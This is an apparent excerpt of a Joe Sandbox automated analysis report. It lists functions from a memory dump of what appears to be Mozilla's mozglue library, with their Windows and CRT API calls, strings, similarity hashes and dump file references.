Instruction Fuzzy Hash: 44518E71604745DFC714DF35C584A9ABBF9FF8A318F108A2EE94A87B10DB30A945CB91

Function 6CB35670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CB356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CB356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CB35744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CB357BC
GetTickCount64.KERNEL32 ref: 6CB358CB
EnterCriticalSection.KERNEL32(6CB9F688), ref: 6CB358F3
__aulldiv.LIBCMT ref: 6CB35945
LeaveCriticalSection.KERNEL32(6CB9F688), ref: 6CB359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB9F638,?,?,?,?), ref: 6CB359E9

Strings

MOZ_APP_RESTART, xrefs: 6CB356CC

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e4708337ae8ce053da156d54e757e979ecf7b1f295140ece2199dc10c5e5c44e
Instruction ID: 84a973adaae28dea29ee2cd1583cafefe3c3123ea502689566974c60c88d5fd4
Opcode Fuzzy Hash: e4708337ae8ce053da156d54e757e979ecf7b1f295140ece2199dc10c5e5c44e
Instruction Fuzzy Hash: 84C15C71A097909FDB05CF28C54066EB7F1FF9A724F159A1DF8C897660D730A889CB82

Function 6CB5EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5EC8C

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

GetCurrentThreadId.KERNEL32 ref: 6CB5ECA1
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB5ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB5ED19
CloseHandle.KERNEL32(?), ref: 6CB5ED28
free.MOZGLUE(00000000), ref: 6CB5ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB5EC94

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 59ef26342e99d7fe773e8382b7b93c00e7d3902d747873f69f22aa02af30f7a0
Instruction ID: 3614b209bef8ef8af5dc32faa76a8a887b10ce906a5ac438d2c05a35fb15b0a5
Opcode Fuzzy Hash: 59ef26342e99d7fe773e8382b7b93c00e7d3902d747873f69f22aa02af30f7a0
Instruction Fuzzy Hash: 2F210575600194ABDF009F24D904BAE7739EF4727DF504210FC1987780DB39A826CBA2

Function 6CB58ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CB1EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB5B392,?,?,00000001), ref: 6CB591F4

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

Strings

marker-chart, xrefs: 6CB5905E
name, xrefs: 6CB58F16
marker-table, xrefs: 6CB5906C
timeline-fileio, xrefs: 6CB590A4
stack-chart, xrefs: 6CB590B2
timeline-ipc, xrefs: 6CB59096
timeline-overview, xrefs: 6CB5907A
timeline-memory, xrefs: 6CB59088
data, xrefs: 6CB590E8

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: c3ff03c727cd2fdecd7bc74eec6724778a65c79d6006d4779fc7b6940ac4e693
Instruction ID: f25247e2dfdc79c2c54765ff5f5959f1ed415a82becfb0c4770e4b0c5f89e510
Opcode Fuzzy Hash: c3ff03c727cd2fdecd7bc74eec6724778a65c79d6006d4779fc7b6940ac4e693
Instruction Fuzzy Hash: 5DB1D3B0E012899BDF04CF94C4917BEBBB6EF85318F54442AD506ABF80C7329A55CBD1

Function 6CB3C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB3C5A3
WideCharToMultiByte.KERNEL32 ref: 6CB3C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB3C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CB3CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB3CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB3CAA5

Strings

0, xrefs: 6CB3D30A
(null), xrefs: 6CB3C596

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: aa2a28cabe6d896ff46eef2dc54a87bf929ffd7ca6a93a98b86bd60a75813c92
Instruction ID: 6932352fe9f290fc68a833913185ddb8fa67bd10109f7277875419f983c6f310
Opcode Fuzzy Hash: aa2a28cabe6d896ff46eef2dc54a87bf929ffd7ca6a93a98b86bd60a75813c92
Instruction Fuzzy Hash: 05A1BE306083A19FDB10DF68D59471ABBF5EF8A348F049A1DE88E97641D731DC05CB82

Function 6CB3C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB3C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CB3C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB3C891

Strings

INF, xrefs: 6CB3C794
inf, xrefs: 6CB3C78F
nan, xrefs: 6CB3C7A8
NAN, xrefs: 6CB3C7AD

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 64431432688675d73625a3e02f972e38983ffa9d7246cb4aa07bddcbd73d2f8b
Instruction ID: 435f398b65825898081954cdf8473a021580ad16a0f09ecedccb29981620adcb
Opcode Fuzzy Hash: 64431432688675d73625a3e02f972e38983ffa9d7246cb4aa07bddcbd73d2f8b
Instruction Fuzzy Hash: 01518470A087948BD700DF6CD5816AAFBF0BF8A305F009A2DE9D997651E770D9858B43

Function 6CB14480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB54843,?), ref: 6CB145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB54843,?), ref: 6CB1468A
free.MOZGLUE(?,?,?,?,?,?,6CB54843,?), ref: 6CB146C9
free.MOZGLUE(?), ref: 6CB146EF
free.MOZGLUE(?), ref: 6CB14712
free.MOZGLUE(?), ref: 6CB14735
free.MOZGLUE(?), ref: 6CB14758
free.MOZGLUE(?), ref: 6CB1477B
free.MOZGLUE(?), ref: 6CB1479E

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: e0828a0efcb5af3442347a39cd43b80f59dfea618c697890872911abe2af8ce9
Instruction ID: 4487c905c681f0ae04087da9d5c1151ce81808a4c793e979f264f4204dedc12a
Opcode Fuzzy Hash: e0828a0efcb5af3442347a39cd43b80f59dfea618c697890872911abe2af8ce9
Instruction Fuzzy Hash: 5BB1E271A081918FDB189F7CD8A076D76A2AF4232CF184679E816DFFD6D73098448F92

Function 6CB7AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB7AC52
CreateFileMappingW.KERNEL32 ref: 6CB7AC7D
GetSystemInfo.KERNEL32 ref: 6CB7AC98
MapViewOfFile.KERNEL32 ref: 6CB7ACB0
GetSystemInfo.KERNEL32 ref: 6CB7ACCD
MapViewOfFile.KERNEL32 ref: 6CB7AD05
UnmapViewOfFile.KERNEL32 ref: 6CB7AD1C
CloseHandle.KERNEL32 ref: 6CB7AD28
UnmapViewOfFile.KERNEL32 ref: 6CB7AD37
CloseHandle.KERNEL32 ref: 6CB7AD43
CloseHandle.KERNEL32 ref: 6CB7AD67

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 31f4b6665ee471b321f2cb9e833971e66fb75dc8c3d6ba8ac87c82452dedd2ad
Instruction ID: b5ff1c05d5060d97a1c0b57cae171b05ec9fb0794779654f02de800fc650dc1e
Opcode Fuzzy Hash: 31f4b6665ee471b321f2cb9e833971e66fb75dc8c3d6ba8ac87c82452dedd2ad
Instruction Fuzzy Hash: 7E316FB1A047448FDB10EF78D64826EBBF4FF86315F01892DE99597211EB709448CB92

Function 6CB29620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB29675
__Init_thread_footer.LIBCMT ref: 6CB29697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB29707
__Init_thread_footer.LIBCMT ref: 6CB2971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB29773

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB297B7
FreeLibrary.KERNEL32 ref: 6CB297D0
FreeLibrary.KERNEL32 ref: 6CB297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB29824

Strings

ntdll.dll, xrefs: 6CB296E3
MapViewOfFileNuma2, xrefs: 6CB297B1
NtMapViewOfSection, xrefs: 6CB29701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB29670

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: f2e80231bfd56e91e4d412c8c01760c871a3ca1d40cf0f91b55d6eb7993b6cb4
Instruction ID: afe08020f859f997e5396f62c4ced6ed6155e3d7f8d77d19b2a7958c7637b01d
Opcode Fuzzy Hash: f2e80231bfd56e91e4d412c8c01760c871a3ca1d40cf0f91b55d6eb7993b6cb4
Instruction Fuzzy Hash: 39419075B042859BDF00CFA5E984AAA77B4FB5B374F108528FD1997740D738A814CFA2

Function 6CB11E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E784), ref: 6CB11EC1
LeaveCriticalSection.KERNEL32(6CB9E784), ref: 6CB11EE1
EnterCriticalSection.KERNEL32(6CB9E744), ref: 6CB11F38
LeaveCriticalSection.KERNEL32(6CB9E744), ref: 6CB11F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CB11F83
LeaveCriticalSection.KERNEL32(6CB9E784), ref: 6CB11FC0
EnterCriticalSection.KERNEL32(6CB9E784), ref: 6CB11FE2
LeaveCriticalSection.KERNEL32(6CB9E784), ref: 6CB11FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB12019

Strings

MOZ_CRASH(), xrefs: 6CB12000

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: bfa3ed0616f7c6a14503d5ddfe73d0de79b340000e77f3c8b91c5def0405d132
Instruction ID: ff2844da59601f40db131193cb584cc50305301d63ddb5ab0b056b067e279a79
Opcode Fuzzy Hash: bfa3ed0616f7c6a14503d5ddfe73d0de79b340000e77f3c8b91c5def0405d132
Instruction Fuzzy Hash: 3341E176B042998BDF108F79C988B6E37B5FB6B708F040035E90597B45DB759804CBD2

Function 6CB27E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB27EA7
malloc.MOZGLUE(00000001), ref: 6CB27EB3

Part of subcall function 6CB2CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CB2CB49
Part of subcall function 6CB2CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CB2CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CB27EC4
mozalloc_abort.MOZGLUE(?), ref: 6CB27F19
malloc.MOZGLUE(?), ref: 6CB27F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB27F4D

Strings

d, xrefs: 6CB27F89

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: e341c7752545320b3f80c5a05de84d4636500fe82bc55317e6622f4652030389
Instruction ID: fa9125d51bd5c0462b7a26100140cae1b1a765ad468e663fe32326a4ce54a8c7
Opcode Fuzzy Hash: e341c7752545320b3f80c5a05de84d4636500fe82bc55317e6622f4652030389
Instruction Fuzzy Hash: 30310561E043C997EB009F78DC455FEB778EF97218F049229ED4957612FB30A588C391

Function 6CB23E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CB23CCC), ref: 6CB23EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB23FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CB23CCC), ref: 6CB24006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB23CCC), ref: 6CB240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB23CCC), ref: 6CB240C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB24134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CB23CCC), ref: 6CB24143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CB23CCC), ref: 6CB24157

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 541e7ecca6146ee30396d0ef382999300cbda3493f633678509b8cf86617b718
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 5DA18EB1A40255CFDB50CF28C88066AB7B9FF48308F254599D909AFB42D775E886CFA1

Function 6CB12030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CB33F47,?,?,?,6CB33F47,6CB31A70,?), ref: 6CB1207F
memset.VCRUNTIME140(?,000000E5,6CB33F47,?,6CB33F47,6CB31A70,?), ref: 6CB120DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CB33F47,6CB31A70,?), ref: 6CB1211A
EnterCriticalSection.KERNEL32(6CB9E744,?,6CB33F47,6CB31A70,?), ref: 6CB12145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CB33F47,6CB31A70,?), ref: 6CB121BA
EnterCriticalSection.KERNEL32(6CB9E744,?,6CB33F47,6CB31A70,?), ref: 6CB121E0
LeaveCriticalSection.KERNEL32(6CB9E744,?,6CB33F47,6CB31A70,?), ref: 6CB12232

Strings

MOZ_CRASH(), xrefs: 6CB1227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CB12253, 6CB12268

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 4e66c443a35cd04eb4e3acda9074efc0e71a2fb729505af95b1637c9d028eeea
Instruction ID: 653e9ac648800ee02ec56a7e331432dd16afab60d2e7d90b13e43ad4b0cf0234
Opcode Fuzzy Hash: 4e66c443a35cd04eb4e3acda9074efc0e71a2fb729505af95b1637c9d028eeea
Instruction Fuzzy Hash: 3F61C332F082968FDB04CEA9C98976E76B5EF97324F294635E524A7E94D7709C00C783

Function 6CB148E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CB5483A,?), ref: 6CB14ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CB5483A,?), ref: 6CB14AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CB5483A,?), ref: 6CB14A82

Part of subcall function 6CB2CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB2CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CB5483A,?), ref: 6CB14A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CB5483A,?), ref: 6CB14A35

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CB5483A,?), ref: 6CB14A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CB5483A,?), ref: 6CB14AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CB5483A,?), ref: 6CB14B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CB5483A,?), ref: 6CB14B2C

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 9ebe7ab69babbd6e8e1ad4250c899ba554407ed59d45cb767c76c359c339130f
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 2F716AB19047869FCB14CF68C480AAAB7F5FF09308B104A3EE15ADBB41E731E655CB80

Function 6CB69D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

